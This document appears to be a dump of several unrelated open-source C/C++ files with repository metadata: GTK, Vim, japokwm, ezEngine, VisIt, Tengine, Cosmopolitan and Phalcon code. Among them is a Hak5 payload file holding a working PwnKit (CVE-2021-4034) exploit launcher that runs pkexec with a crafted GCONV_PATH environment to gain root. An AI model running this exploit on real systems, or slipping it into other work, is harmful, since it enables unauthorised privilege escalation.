#ifndef __GTK_TREE_POPOVER_PRIVATE_H__
#define __GTK_TREE_POPOVER_PRIVATE_H__
#include <gtk/gtk.h>
G_BEGIN_DECLS
#define GTK_TYPE_TREE_POPOVER (gtk_tree_popover_get_type ())
G_DECLARE_FINAL_TYPE (GtkTreePopover, gtk_tree_popover, GTK, TREE_POPOVER, GtkPopover)
void gtk_tree_popover_set_model (GtkTreePopover *popover,
GtkTreeModel *model);
void gtk_tree_popover_set_row_separator_func (GtkTreePopover *popover,
GtkTreeViewRowSeparatorFunc func,
gpointer data,
GDestroyNotify destroy);
void gtk_tree_popover_set_active (GtkTreePopover *popover,
int item);
void gtk_tree_popover_open_submenu (GtkTreePopover *popover,
const char *name);
G_END_DECLS
#endif /* __GTK_TREE_POPOVER_PRIVATE_H__ */
|
e06c0fcf0870c2b4b0d65ba1a4034f36f7757481
|
e48198ffea7b0b80669253fb970fdcc1d2f4c518
|
/src/proto/session.pro
|
3c5ee2cbf1212af558b973184ca71b7e0545ac55
|
[
"GPL-1.0-or-later",
"Vim",
"GPL-2.0-only"
] |
permissive
|
vim/vim
|
f9ea5913ff884c87bc11f7826b1fc277fba8a2b5
|
816fbcc262687b81fc46f82f7bbeb1453addfe0c
|
refs/heads/master
| 2023-09-01T16:01:56.964678
| 2023-08-31T21:52:30
| 2023-08-31T21:52:30
| 40,997,482
| 37,589
| 7,920
|
Vim
| 2023-09-14T20:57:43
| 2015-08-18T21:03:56
|
Vim Script
|
UTF-8
|
C
| false
| false
| 240
|
pro
|
session.pro
|
/* session.c */
void ex_loadview(exarg_T *eap);
int write_session_file(char_u *filename);
void ex_mkrc(exarg_T *eap);
var_flavour_T var_flavour(char_u *varname);
int put_eol(FILE *fd);
int put_line(FILE *fd, char *s);
/* vim: set ft=c : */
|
c726e96576b843e89ffddecbf828e7ef212f97d4
|
eb266f888155c0fa59c923d7496e875c7259f1de
|
/include/lib/lib_focus_set.h
|
302f34d21ea615eb497ae29eac19cc097774a8d2
|
[
"BSD-2-Clause"
] |
permissive
|
werererer/japokwm
|
e7f46b210e7daf6a7d3a6bb8c61d912c40a2cb58
|
9cdc208ed70d4b58a805431992e4078171403edd
|
refs/heads/master
| 2023-05-25T18:46:40.826666
| 2023-01-15T22:26:59
| 2023-01-15T22:26:59
| 297,172,042
| 121
| 4
|
BSD-2-Clause
| 2023-01-15T22:27:00
| 2020-09-20T22:06:29
|
C
|
UTF-8
|
C
| false
| false
| 771
|
h
|
lib_focus_set.h
|
#ifndef LIB_FOCUS_SET_H
#define LIB_FOCUS_SET_H
#include <lua.h>
#include <lauxlib.h>
struct focus_set;
void lua_load_focus_set(lua_State *L);
void create_lua_focus_set(lua_State *L, struct focus_set *focus_set);
// getter
int lib_get_focus_stack_lists_with_layer_shell(lua_State *L);
int lib_get_focus_stack_visible_lists(lua_State *L);
int lib_get_focus_stack_lists(lua_State *L);
int lib_get_focus_stack_layer_background(lua_State *L);
int lib_get_focus_stack_layer_bottom(lua_State *L);
int lib_get_focus_stack_layer_top(lua_State *L);
int lib_get_focus_stack_layer_overlay(lua_State *L);
int lib_get_focus_stack_on_top(lua_State *L);
int lib_get_focus_stack_normal(lua_State *L);
int lib_get_focus_stack_not_focusable(lua_State *L);
#endif /* LIB_FOCUS_SET_H */
|
55a0293db5f5334bd4a48eef4e7eec5e754a9ae4
|
e5f4f37d941ceb8145d65f92028cc54658b1ac01
|
/Code/Engine/Foundation/SimdMath/Implementation/SimdMat4f_inl.h
|
5ac9fa99762bbdde3f8c04a5307b0c9eac18685a
|
[
"MIT"
] |
permissive
|
ezEngine/ezEngine
|
19983d2733a5409fb2665c6c3a0a575dadcefb50
|
c46e3b4b2cd46798e4abb4938fbca281c054b039
|
refs/heads/dev
| 2023-09-06T02:17:28.152665
| 2023-09-05T18:25:43
| 2023-09-05T18:25:43
| 18,179,848
| 1,050
| 165
|
MIT
| 2023-09-14T21:44:39
| 2014-03-27T15:02:16
|
C++
|
UTF-8
|
C
| false
| false
| 7,103
|
h
|
SimdMat4f_inl.h
|
#pragma once
EZ_ALWAYS_INLINE ezSimdMat4f::ezSimdMat4f() = default;
EZ_ALWAYS_INLINE ezSimdMat4f::ezSimdMat4f(const float* const pData, ezMatrixLayout::Enum layout)
{
if (layout == ezMatrixLayout::ColumnMajor)
*this = MakeFromColumnMajorArray(pData);
else
*this = MakeFromRowMajorArray(pData);
}
EZ_ALWAYS_INLINE ezSimdMat4f::ezSimdMat4f(const ezSimdVec4f& vCol0, const ezSimdVec4f& vCol1, const ezSimdVec4f& vCol2, const ezSimdVec4f& vCol3)
: m_col0(vCol0)
, m_col1(vCol1)
, m_col2(vCol2)
, m_col3(vCol3)
{
}
EZ_ALWAYS_INLINE ezSimdMat4f::ezSimdMat4f(float f1r1, float f2r1, float f3r1, float f4r1, float f1r2, float f2r2, float f3r2, float f4r2, float f1r3,
float f2r3, float f3r3, float f4r3, float f1r4, float f2r4, float f3r4, float f4r4)
{
m_col0.Set(f1r1, f1r2, f1r3, f1r4);
m_col1.Set(f2r1, f2r2, f2r3, f2r4);
m_col2.Set(f3r1, f3r2, f3r3, f3r4);
m_col3.Set(f4r1, f4r2, f4r3, f4r4);
}
inline ezSimdMat4f ezSimdMat4f::MakeFromValues(float f1r1, float f2r1, float f3r1, float f4r1, float f1r2, float f2r2, float f3r2, float f4r2, float f1r3,
float f2r3, float f3r3, float f4r3, float f1r4, float f2r4, float f3r4, float f4r4)
{
ezSimdMat4f res;
res.m_col0.Set(f1r1, f1r2, f1r3, f1r4);
res.m_col1.Set(f2r1, f2r2, f2r3, f2r4);
res.m_col2.Set(f3r1, f3r2, f3r3, f3r4);
res.m_col3.Set(f4r1, f4r2, f4r3, f4r4);
return res;
}
inline ezSimdMat4f ezSimdMat4f::MakeFromColumns(const ezSimdVec4f& vCol0, const ezSimdVec4f& vCol1, const ezSimdVec4f& vCol2, const ezSimdVec4f& vCol3)
{
ezSimdMat4f res;
res.m_col0 = vCol0;
res.m_col1 = vCol1;
res.m_col2 = vCol2;
res.m_col3 = vCol3;
return res;
}
inline ezSimdMat4f ezSimdMat4f::MakeFromRowMajorArray(const float* const pData)
{
ezSimdMat4f res;
res.m_col0.Load<4>(pData + 0);
res.m_col1.Load<4>(pData + 4);
res.m_col2.Load<4>(pData + 8);
res.m_col3.Load<4>(pData + 12);
res.Transpose();
return res;
}
inline ezSimdMat4f ezSimdMat4f::MakeFromColumnMajorArray(const float* const pData)
{
ezSimdMat4f res;
res.m_col0.Load<4>(pData + 0);
res.m_col1.Load<4>(pData + 4);
res.m_col2.Load<4>(pData + 8);
res.m_col3.Load<4>(pData + 12);
return res;
}
inline void ezSimdMat4f::SetFromArray(const float* const pData, ezMatrixLayout::Enum layout)
{
if (layout == ezMatrixLayout::ColumnMajor)
{
*this = MakeFromColumnMajorArray(pData);
}
else
{
*this = MakeFromRowMajorArray(pData);
}
}
inline void ezSimdMat4f::GetAsArray(float* out_pData, ezMatrixLayout::Enum layout) const
{
ezSimdMat4f tmp = *this;
if (layout == ezMatrixLayout::RowMajor)
{
tmp.Transpose();
}
tmp.m_col0.Store<4>(out_pData + 0);
tmp.m_col1.Store<4>(out_pData + 4);
tmp.m_col2.Store<4>(out_pData + 8);
tmp.m_col3.Store<4>(out_pData + 12);
}
EZ_ALWAYS_INLINE void ezSimdMat4f::SetIdentity()
{
m_col0.Set(1, 0, 0, 0);
m_col1.Set(0, 1, 0, 0);
m_col2.Set(0, 0, 1, 0);
m_col3.Set(0, 0, 0, 1);
}
EZ_ALWAYS_INLINE void ezSimdMat4f::SetZero()
{
m_col0.SetZero();
m_col1.SetZero();
m_col2.SetZero();
m_col3.SetZero();
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::MakeZero()
{
ezSimdMat4f res;
res.m_col0.SetZero();
res.m_col1.SetZero();
res.m_col2.SetZero();
res.m_col3.SetZero();
return res;
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::MakeIdentity()
{
ezSimdMat4f res;
res.m_col0.Set(1, 0, 0, 0);
res.m_col1.Set(0, 1, 0, 0);
res.m_col2.Set(0, 0, 1, 0);
res.m_col3.Set(0, 0, 0, 1);
return res;
}
// static
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::IdentityMatrix()
{
return MakeIdentity();
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::ZeroMatrix()
{
return MakeZero();
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::GetTranspose() const
{
ezSimdMat4f result = *this;
result.Transpose();
return result;
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::GetInverse(const ezSimdFloat& fEpsilon) const
{
ezSimdMat4f result = *this;
result.Invert(fEpsilon).IgnoreResult();
return result;
}
inline bool ezSimdMat4f::IsEqual(const ezSimdMat4f& rhs, const ezSimdFloat& fEpsilon) const
{
return (m_col0.IsEqual(rhs.m_col0, fEpsilon) && m_col1.IsEqual(rhs.m_col1, fEpsilon) && m_col2.IsEqual(rhs.m_col2, fEpsilon) &&
m_col3.IsEqual(rhs.m_col3, fEpsilon))
.AllSet<4>();
}
inline bool ezSimdMat4f::IsIdentity(const ezSimdFloat& fEpsilon) const
{
return (m_col0.IsEqual(ezSimdVec4f(1, 0, 0, 0), fEpsilon) && m_col1.IsEqual(ezSimdVec4f(0, 1, 0, 0), fEpsilon) &&
m_col2.IsEqual(ezSimdVec4f(0, 0, 1, 0), fEpsilon) && m_col3.IsEqual(ezSimdVec4f(0, 0, 0, 1), fEpsilon))
.AllSet<4>();
}
inline bool ezSimdMat4f::IsValid() const
{
return m_col0.IsValid<4>() && m_col1.IsValid<4>() && m_col2.IsValid<4>() && m_col3.IsValid<4>();
}
inline bool ezSimdMat4f::IsNaN() const
{
return m_col0.IsNaN<4>() || m_col1.IsNaN<4>() || m_col2.IsNaN<4>() || m_col3.IsNaN<4>();
}
EZ_ALWAYS_INLINE void ezSimdMat4f::SetRows(const ezSimdVec4f& vRow0, const ezSimdVec4f& vRow1, const ezSimdVec4f& vRow2, const ezSimdVec4f& vRow3)
{
m_col0 = vRow0;
m_col1 = vRow1;
m_col2 = vRow2;
m_col3 = vRow3;
Transpose();
}
EZ_ALWAYS_INLINE void ezSimdMat4f::GetRows(ezSimdVec4f& ref_vRow0, ezSimdVec4f& ref_vRow1, ezSimdVec4f& ref_vRow2, ezSimdVec4f& ref_vRow3) const
{
ezSimdMat4f tmp = *this;
tmp.Transpose();
ref_vRow0 = tmp.m_col0;
ref_vRow1 = tmp.m_col1;
ref_vRow2 = tmp.m_col2;
ref_vRow3 = tmp.m_col3;
}
EZ_ALWAYS_INLINE ezSimdVec4f ezSimdMat4f::TransformPosition(const ezSimdVec4f& v) const
{
ezSimdVec4f result;
result = m_col0 * v.x();
result += m_col1 * v.y();
result += m_col2 * v.z();
result += m_col3;
return result;
}
EZ_ALWAYS_INLINE ezSimdVec4f ezSimdMat4f::TransformDirection(const ezSimdVec4f& v) const
{
ezSimdVec4f result;
result = m_col0 * v.x();
result += m_col1 * v.y();
result += m_col2 * v.z();
return result;
}
EZ_ALWAYS_INLINE ezSimdMat4f ezSimdMat4f::operator*(const ezSimdMat4f& rhs) const
{
ezSimdMat4f result;
result.m_col0 = m_col0 * rhs.m_col0.x();
result.m_col0 += m_col1 * rhs.m_col0.y();
result.m_col0 += m_col2 * rhs.m_col0.z();
result.m_col0 += m_col3 * rhs.m_col0.w();
result.m_col1 = m_col0 * rhs.m_col1.x();
result.m_col1 += m_col1 * rhs.m_col1.y();
result.m_col1 += m_col2 * rhs.m_col1.z();
result.m_col1 += m_col3 * rhs.m_col1.w();
result.m_col2 = m_col0 * rhs.m_col2.x();
result.m_col2 += m_col1 * rhs.m_col2.y();
result.m_col2 += m_col2 * rhs.m_col2.z();
result.m_col2 += m_col3 * rhs.m_col2.w();
result.m_col3 = m_col0 * rhs.m_col3.x();
result.m_col3 += m_col1 * rhs.m_col3.y();
result.m_col3 += m_col2 * rhs.m_col3.z();
result.m_col3 += m_col3 * rhs.m_col3.w();
return result;
}
EZ_ALWAYS_INLINE void ezSimdMat4f::operator*=(const ezSimdMat4f& rhs)
{
*this = *this * rhs;
}
EZ_ALWAYS_INLINE bool ezSimdMat4f::operator==(const ezSimdMat4f& other) const
{
return (m_col0 == other.m_col0 && m_col1 == other.m_col1 && m_col2 == other.m_col2 && m_col3 == other.m_col3).AllSet<4>();
}
EZ_ALWAYS_INLINE bool ezSimdMat4f::operator!=(const ezSimdMat4f& other) const
{
return !(*this == other);
}
|
91e32bdd46e2e5171473e712f25d6d7d05980f41
|
4f3ef2ca590acf80bd426d4a59042375e7af8d07
|
/payloads/library/execution/PwnKit_LPE/CVE-2021-4034_files/exploit.c
|
7df10400e84a22d2ce5e8f0520d994a4e3ed33e7
|
[] |
no_license
|
hak5/bashbunny-payloads
|
911584e971902559c02d058952c5cb4c63283db6
|
5ec93761fda8d3b75feff5aee09eaf47aad7220f
|
refs/heads/master
| 2023-08-31T18:22:41.694770
| 2023-08-30T22:39:59
| 2023-08-30T22:39:59
| 78,046,086
| 2,598
| 1,718
| null | 2023-09-10T11:42:39
| 2017-01-04T19:27:33
|
PowerShell
|
UTF-8
|
C
| false
| false
| 320
|
c
|
exploit.c
|
#include <unistd.h>
int main() {
char * const ARGUMENTS[] = {
NULL
};
char * const ENVIRONMENT[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=PWNKIT",
"CHARSET=PWNKIT",
NULL
};
execve("/usr/bin/pkexec", ARGUMENTS, ENVIRONMENT);
return(0);
}
|
3f1f3d094c8b39db6ccf23bafe99c11172f3461d
|
03666e5f961946fc1a0ac67781ac1425562ef0d7
|
/src/visit_vtk/lightweight/vtkDataSetFromVolume.C
|
3fb11d84056fcae1027d9c880ef582d6f8bb2bcd
|
[
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
visit-dav/visit
|
e9f81b4d4b9b9930a0db9d5282cd1bcabf465e2e
|
601ae46e0bef2e18425b482a755d03490ade0493
|
refs/heads/develop
| 2023-09-06T08:19:38.397058
| 2023-09-05T21:29:32
| 2023-09-05T21:29:32
| 165,565,988
| 335
| 120
|
BSD-3-Clause
| 2023-09-14T00:53:37
| 2019-01-13T23:27:26
|
C
|
UTF-8
|
C
| false
| false
| 6,265
|
c
|
vtkDataSetFromVolume.C
|
// Copyright (c) Lawrence Livermore National Security, LLC and other VisIt
// Project developers. See the top-level LICENSE file for dates and other
// details. No copyright assignment is required to contribute to VisIt.
// ************************************************************************* //
// vtkDataSetFromVolume.C //
// ************************************************************************* //
#include <vtkDataSetFromVolume.h>
#include <vtkCellData.h>
#include <vtkPointData.h>
#include <vtkPolyData.h>
using std::vector;
vtkDataSetFromVolume::PointList::PointList()
{
listSize = 4096;
pointsPerList = 1024;
list = new PointEntry*[listSize];
list[0] = new PointEntry[pointsPerList];
for (int i = 1 ; i < listSize ; i++)
list[i] = NULL;
currentList = 0;
currentPoint = 0;
}
vtkDataSetFromVolume::PointList::~PointList()
{
for (int i = 0 ; i < listSize ; i++)
{
if (list[i] != NULL)
delete [] list[i];
else
break;
}
delete [] list;
}
void
vtkDataSetFromVolume::PointList::Clear()
{
for (int i = 0 ; i < listSize ; i++)
{
if (list[i] != NULL)
{
delete [] list[i];
list[i] = NULL;
}
else
break;
}
list[0] = new PointEntry[pointsPerList];
currentList = 0;
currentPoint = 0;
}
int
vtkDataSetFromVolume::PointList::GetList(vtkIdType listId,
const PointEntry *&outlist) const
{
if (listId > currentList)
{
outlist = NULL;
return 0;
}
outlist = list[listId];
return (listId == currentList ? currentPoint : pointsPerList);
}
vtkIdType
vtkDataSetFromVolume::PointList::GetNumberOfLists(void) const
{
return currentList+1;
}
vtkIdType
vtkDataSetFromVolume::PointList::GetTotalNumberOfPoints(void) const
{
vtkIdType numFullLists = currentList; // actually currentList-1+1
vtkIdType numExtra = currentPoint; // again, currentPoint-1+1
return numFullLists*pointsPerList + numExtra;
}
//
// Sean Ahern, Mon Mar 5 15:44:05 EST 2007
// Fixed test for resizing list. Initialized new entries.
//
vtkIdType
vtkDataSetFromVolume::PointList::AddPoint(vtkIdType pt0, vtkIdType pt1, float percent)
{
if (currentPoint >= pointsPerList)
{
if ((currentList+1) >= listSize)
{
PointEntry **tmpList = new PointEntry*[2*listSize];
for (vtkIdType i = 0 ; i < listSize ; i++)
tmpList[i] = list[i];
for (vtkIdType i = listSize ; i < listSize*2 ; i++)
tmpList[i] = NULL;
listSize *= 2;
delete [] list;
list = tmpList;
}
currentList++;
list[currentList] = new PointEntry[pointsPerList];
currentPoint = 0;
}
list[currentList][currentPoint].ptIds[0] = pt0;
list[currentList][currentPoint].ptIds[1] = pt1;
list[currentList][currentPoint].percent = percent;
currentPoint++;
return (GetTotalNumberOfPoints()-1);
}
vtkDataSetFromVolume::EdgeHashEntry::EdgeHashEntry()
{
id1 = 0;
id2 = 0;
ptId = 0;
next = NULL;
}
void
vtkDataSetFromVolume::EdgeHashEntry::SetInfo(vtkIdType i1, vtkIdType i2, vtkIdType pId)
{
id1 = i1;
id2 = i2;
ptId = pId;
next = NULL;
}
vtkDataSetFromVolume::EdgeHashEntryMemoryManager::EdgeHashEntryMemoryManager()
{
freeEntryindex = 0;
}
vtkDataSetFromVolume::EdgeHashEntryMemoryManager::~EdgeHashEntryMemoryManager()
{
size_t npools = edgeHashEntrypool.size();
for (size_t i = 0 ; i < npools ; i++)
{
EdgeHashEntry *pool = edgeHashEntrypool[i];
delete [] pool;
}
}
void
vtkDataSetFromVolume::EdgeHashEntryMemoryManager
::AllocateEdgeHashEntryPool(void)
{
if (freeEntryindex == 0)
{
EdgeHashEntry *newlist = new EdgeHashEntry[POOL_SIZE];
edgeHashEntrypool.push_back(newlist);
for (int i = 0 ; i < POOL_SIZE ; i++)
{
freeEntrylist[i] = &(newlist[i]);
}
freeEntryindex = POOL_SIZE;
}
}
vtkDataSetFromVolume::EdgeHashTable::EdgeHashTable(int nh, PointList &p)
: pointlist(p)
{
nHashes = nh;
hashes = new EdgeHashEntry*[nHashes];
for (int i = 0 ; i < nHashes ; i++)
hashes[i] = NULL;
}
vtkDataSetFromVolume::EdgeHashTable::~EdgeHashTable()
{
delete [] hashes;
}
void
vtkDataSetFromVolume::EdgeHashTable::Clear()
{
delete [] hashes;
hashes = new EdgeHashEntry*[nHashes];
for (int i = 0 ; i < nHashes ; i++)
hashes[i] = NULL;
}
vtkIdType
vtkDataSetFromVolume::EdgeHashTable::GetKey(vtkIdType p1, vtkIdType p2)
{
vtkIdType rv = ((p1*18457 + p2*234749) % nHashes);
// In case of overflows and modulo with negative numbers.
if (rv < 0)
rv += nHashes;
return rv;
}
vtkIdType
vtkDataSetFromVolume::EdgeHashTable::AddPoint(vtkIdType ap1, vtkIdType ap2, float apercent)
{
vtkIdType p1, p2;
float percent;
if (ap2 < ap1)
{
p1 = ap2;
p2 = ap1;
percent = 1. - apercent;
}
else
{
p1 = ap1;
p2 = ap2;
percent = apercent;
}
vtkIdType key = GetKey(p1, p2);
//
// See if we have any matches in the current hashes.
//
EdgeHashEntry *cur = hashes[key];
while (cur != NULL)
{
if (cur->IsMatch(p1, p2))
{
//
// We found a match.
//
return cur->GetPointId();
}
cur = cur->GetNext();
}
//
// There was no match. We will have to add a new entry.
//
EdgeHashEntry *new_one = emm.GetFreeEdgeHashEntry();
vtkIdType newPt = pointlist.AddPoint(p1, p2, percent);
new_one->SetInfo(p1, p2, newPt);
new_one->SetNext(hashes[key]);
hashes[key] = new_one;
return newPt;
}
vtkDataSetFromVolume::vtkDataSetFromVolume(vtkIdType ptSizeGuess)
: pt_list(), edges(ptSizeGuess, pt_list), numPrevPts(0)
{
}
vtkDataSetFromVolume::vtkDataSetFromVolume(vtkIdType nPts, vtkIdType ptSizeGuess)
: pt_list(), edges(ptSizeGuess, pt_list), numPrevPts(nPts)
{
}
|
f0b2273e16ac99e84773496b07fb5684dce0b204
|
d1a6e586e0ad50da88ac3cf176d40bb9facb6bf6
|
/source/device/cpu/op/rnn/rnn_ref.c
|
ee60e424795132905848fab05150d37697613ba7
|
[
"Apache-2.0"
] |
permissive
|
OAID/Tengine
|
025d2521040c863300ee08b0800010587b72192b
|
c73708ceb4322ae7c438e4d468178b737fa44cd0
|
refs/heads/tengine-lite
| 2023-09-03T19:15:08.100078
| 2023-05-18T06:17:39
| 2023-05-18T06:17:39
| 115,765,590
| 5,323
| 1,216
|
Apache-2.0
| 2023-09-05T06:25:47
| 2017-12-30T01:21:41
|
C++
|
UTF-8
|
C
| false
| false
| 8,687
|
c
|
rnn_ref.c
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* License); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* AS IS BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*
* Copyright (c) 2021, OPEN AI LAB
* Author: qli@openailab.com
*/
#include "rnn_param.h"
#include "graph/tensor.h"
#include "graph/node.h"
#include "graph/graph.h"
#include "utility/sys_port.h"
#include "utility/float.h"
#include "utility/log.h"
#include "device/cpu/cpu_node.h"
#include "device/cpu/cpu_graph.h"
#include "device/cpu/cpu_module.h"
#include <math.h>
#include <string.h>
struct rnn_ref_param
{
float* init_h_data;
float* bias;
float* kernel;
int seq_lens;
int batch_size;
int input_size;
int output_len;
int hidden_size;
};
static void concat_axis_1_rnn(const float* a, const float* b, float* c, int m, int n1, int n2)
{
int n = n1 + n2;
for (int i = 0; i < m; i++)
{
for (int j = 0; j < n1; j++)
{
c[j + i * n] = a[j + i * n1];
}
for (int j = 0; j < n2; j++)
{
c[j + i * n + n1] = b[j + i * n2];
}
}
}
static void do_gemm_rnn(const float* a, const float* b, float* c, int m, int k, int n, int lda, int ldb, int ldc)
{
for (int i = 0; i < m; i++)
{
for (int j = 0; j < n; j++)
{
c[i * n + j] = 0.f;
for (int p = 0; p < k; p++)
{
c[i * n + j] += a[i * k + p] * b[p * n + j];
}
}
}
}
static int do_RNN_step(const float* input, float* init_h, const float* kernel, const float* bias, int batch_size,
int input_size, int hidden_size)
{
int input_total_size = input_size + hidden_size;
int batch_cell_size = hidden_size * batch_size;
float* ig = (float*)malloc(batch_cell_size * sizeof(float));
float* merged_input = (float*)malloc(sizeof(float) * batch_size * (input_total_size));
float* matmul_result = (float*)malloc(sizeof(float) * batch_size * hidden_size);
// merge input
concat_axis_1_rnn(input, init_h, merged_input, batch_size, input_size, hidden_size);
// do gemm
do_gemm_rnn(merged_input, kernel, matmul_result, batch_size, input_total_size, hidden_size, input_total_size,
hidden_size, hidden_size);
// add bias
if (bias)
{
for (int i = 0; i < batch_size; i++)
for (int j = 0; j < hidden_size; j++)
matmul_result[i * hidden_size + j] += bias[j];
}
// activation
for (int i = 0; i < batch_cell_size; i++)
{
ig[i] = tanh(matmul_result[i]);
init_h[i] = ig[i];
}
// free memory
free(merged_input);
free(matmul_result);
free(ig);
return 0;
}
static int ref_rnn_fp32(float* input, float* output, struct rnn_ref_param* param)
{
float* init_h = (float*)malloc((unsigned long)param->batch_size * param->hidden_size * sizeof(float));
if (param->init_h_data)
{
for (int i = 0; i < param->batch_size; i++)
{
memcpy(init_h + i * param->hidden_size, param->init_h_data, param->hidden_size * sizeof(float));
}
}
else
{
memset(init_h, 0x0, sizeof((unsigned long)param->batch_size * param->hidden_size * sizeof(float)));
}
int ret = 0;
for (int i = 0; i < param->seq_lens; i++)
{
const float* seq_input = input + i * param->batch_size * param->input_size;
if (!do_RNN_step(seq_input, init_h, param->kernel, param->bias, param->batch_size, param->input_size,
param->hidden_size))
{
ret = -1;
break;
}
// outputs [batch_size,seq_len,hidden_size]
// final_state [batch_size,hidden_size]
if (i + param->output_len >= param->seq_lens)
{
memcpy(output, init_h, (unsigned long)param->batch_size * param->hidden_size * sizeof(float));
output += param->batch_size * param->hidden_size;
}
}
free(init_h);
return 0;
}
static int init_node(struct node_ops* node_ops, struct exec_node* exec_node, struct exec_graph* exec_graph)
{
return 0;
}
static int release_node(struct node_ops* node_ops, struct exec_node* exec_node, struct exec_graph* exec_graph)
{
return 0;
}
static struct tensor* bias_tensor;
static float* init_h_data;
static int prerun(struct node_ops* node_ops, struct exec_node* exec_node, struct exec_graph* exec_graph)
{
struct node* ir_node = exec_node->ir_node;
struct graph* ir_graph = ir_node->graph;
struct tensor* input_tensor;
struct tensor* output_tensor;
output_tensor = get_ir_graph_tensor(ir_graph, ir_node->output_tensors[0]);
int in_num = ir_node->input_num;
struct rnn_param* rnn_param = (struct rnn_param*)ir_node->op.param_mem;
struct tensor* init_h_tensor;
for (int count = 0; count < in_num; count++)
{
input_tensor = get_ir_graph_tensor(ir_graph, ir_node->input_tensors[count]);
if (strstr(input_tensor->name, rnn_param->inithiddenname) != NULL)
{
init_h_tensor = input_tensor;
}
if (strstr(input_tensor->name, rnn_param->biasname) != NULL)
{
bias_tensor = input_tensor;
}
}
if (init_h_tensor)
{
init_h_data = (float*)init_h_tensor->data;
}
return 0;
}
static int run(struct node_ops* node_ops, struct exec_node* exec_node, struct exec_graph* exec_graph)
{
struct node* ir_node = exec_node->ir_node;
struct graph* ir_graph = ir_node->graph;
struct tensor* input_tensor;
struct tensor* kernel_tensor;
struct tensor* output_tensor;
struct rnn_ref_param rnn_ref_param;
input_tensor = get_ir_graph_tensor(ir_graph, ir_node->input_tensors[0]);
kernel_tensor = get_ir_graph_tensor(ir_graph, ir_node->input_tensors[1]);
output_tensor = get_ir_graph_tensor(ir_graph, ir_node->output_tensors[0]);
struct rnn_param* rnn_param = (struct rnn_param*)ir_node->op.param_mem;
int input_size = rnn_param->input_size;
int hidden_size = rnn_param->hidden_size;
float* output = (float*)output_tensor->data;
float* input = (float*)input_tensor->data;
int seq_lens = input_tensor->dims[0];
int batch_size = input_tensor->dims[1];
int output_len = rnn_param->output_len;
float* init_h = (float*)malloc((size_t)batch_size * hidden_size * sizeof(float));
if (init_h == NULL)
{
return -1;
}
if (init_h_data)
{
for (int i = 0; i < batch_size; i++)
{
memcpy(init_h + i * hidden_size, init_h_data, hidden_size * sizeof(float));
}
}
else
{
memset(init_h, 0x0, sizeof(batch_size * hidden_size * sizeof(float)));
}
float* kernel = (float*)kernel_tensor->data;
float* bias = NULL;
if (bias_tensor)
bias = (float*)bias_tensor->data;
rnn_ref_param.init_h_data = init_h_data;
rnn_ref_param.bias = bias;
rnn_ref_param.kernel = kernel;
rnn_ref_param.seq_lens = seq_lens;
rnn_ref_param.batch_size = batch_size;
rnn_ref_param.input_size = input_size;
rnn_ref_param.output_len = output_len;
rnn_ref_param.hidden_size = hidden_size;
if (ref_rnn_fp32(input, output, &rnn_ref_param) < 0)
return -1;
return 0;
}
static int score(struct node_ops* node_ops, struct exec_graph* exec_graph, struct node* exec_node)
{
return OPS_SCORE_CANDO;
}
static struct node_ops hcl_node_ops = {.prerun = prerun,
.run = run,
.reshape = NULL,
.postrun = NULL,
.init_node = init_node,
.release_node = release_node,
.score = score};
int register_rnn_ref_op()
{
return register_builtin_node_ops(OP_RNN, &hcl_node_ops);
}
int unregister_rnn_ref_op()
{
return unregister_builtin_node_ops(OP_RNN, &hcl_node_ops);
}
|
f09863937b9b246156acac8e0988edca18e81abb
|
fdbb74a95924e2677466614f6ab6e2bb13b2a95a
|
/third_party/sqlite3/fts3_porter.shell.c
|
1cff45cc1c00560c7c1c392edfd560307c06c487
|
[
"ISC",
"MIT",
"LicenseRef-scancode-public-domain"
] |
permissive
|
jart/cosmopolitan
|
fb11b5658939023977060a7c6c71a74093d9cb44
|
0d748ad58e1063dd1f8560f18a0c75293b9415b7
|
refs/heads/master
| 2023-09-06T09:17:29.303607
| 2023-09-02T03:49:13
| 2023-09-02T03:50:18
| 272,457,606
| 11,887
| 435
|
ISC
| 2023-09-14T17:47:58
| 2020-06-15T14:16:13
|
C
|
UTF-8
|
C
| false
| false
| 45
|
c
|
fts3_porter.shell.c
|
#include "third_party/sqlite3/fts3_porter.c"
|
9958a0f54bd14b98efb1ae274d26b27982933040
|
b732361d6b3405c3e79ac0a7d8361cf5b329b015
|
/ext/phalcon/support/helper/str/includes.zep.h
|
92be0aa56e863db5da888128c93daab399d1fa7d
|
[
"BSD-3-Clause"
] |
permissive
|
phalcon/cphalcon
|
4a5b26f47b5c2a4107541d7fd73c595c0d90ed73
|
fc183e11e8b96c43daf7d893244846206dc2aa73
|
refs/heads/master
| 2023-03-07T22:09:48.814291
| 2023-02-28T16:45:15
| 2023-02-28T16:45:15
| 2,854,337
| 8,135
| 2,343
|
BSD-3-Clause
| 2023-09-12T12:41:13
| 2011-11-26T05:52:50
|
PHP
|
UTF-8
|
C
| false
| true
| 621
|
h
|
includes.zep.h
|
extern zend_class_entry *phalcon_support_helper_str_includes_ce;
ZEPHIR_INIT_CLASS(Phalcon_Support_Helper_Str_Includes);
PHP_METHOD(Phalcon_Support_Helper_Str_Includes, __invoke);
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_phalcon_support_helper_str_includes___invoke, 0, 2, _IS_BOOL, 0)
ZEND_ARG_TYPE_INFO(0, haystack, IS_STRING, 0)
ZEND_ARG_TYPE_INFO(0, needle, IS_STRING, 0)
ZEND_END_ARG_INFO()
ZEPHIR_INIT_FUNCS(phalcon_support_helper_str_includes_method_entry) {
